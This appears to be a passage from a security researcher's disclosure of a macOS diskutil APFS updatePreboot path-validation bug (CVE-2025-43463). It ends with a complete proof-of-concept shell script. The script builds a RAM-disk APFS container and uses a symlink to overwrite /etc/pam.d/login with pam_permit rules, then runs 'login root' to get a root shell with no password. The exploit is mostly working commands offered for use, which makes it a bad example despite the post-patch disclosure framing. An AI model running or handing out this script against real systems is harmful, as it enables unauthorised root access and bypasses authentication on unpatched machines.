After this was fixed, I found a very similar bug in diskutil apfs updatePreboot. I reported it in September 2025, and it was fixed in macOS 26.1:
Impact: An app may be able to access sensitive user data
Description: A parsing issue in the handling of directory paths was addressed with improved path validation.
CVE-2025-43463: Amy (@asentientbot), Mickey Jin (@patch1t)
Unfortunately (for me), Mickey Jin found it first! So I didn't get a bounty.
As before, it will login as root.
wholeDevice=$(hdiutil attach -nomount -plist ram://10000000 | plutil -extract system-entities.0.dev-entry raw -)
diskutil apfs createcontainer $wholeDevice
containerDevice=$(diskutil info -plist $wholeDevice | plutil -extract APFSContainerReference raw -)
dataName=$(mktemp -u dataXXXXX)
systemName=$(mktemp -u systemXXXXX)
prebootName=$(mktemp -u prebootXXXXX)
diskutil apfs addvolume $containerDevice APFS $dataName -role D
diskutil apfs addvolume $containerDevice APFS $systemName -role S -sibling $dataName
diskutil apfs addvolume $containerDevice APFS $prebootName -role B
uuid=$(diskutil info -plist $systemName | plutil -extract VolumeUUID raw -)
bugInput=/Volumes/$systemName/usr/standalone/i386/EfiLoginUI
bugOutput=/Volumes/$prebootName/$uuid/usr/standalone/i386/EfiLoginUI
mkdir -p $bugInput
mkdir -p $(dirname $bugOutput)
echo 'auth sufficient pam_permit.so
account sufficient pam_permit.so
session sufficient pam_permit.so' > $bugInput/login
ln -s /etc/pam.d "$bugOutput"
diskutil apfs updatepreboot $systemName
login root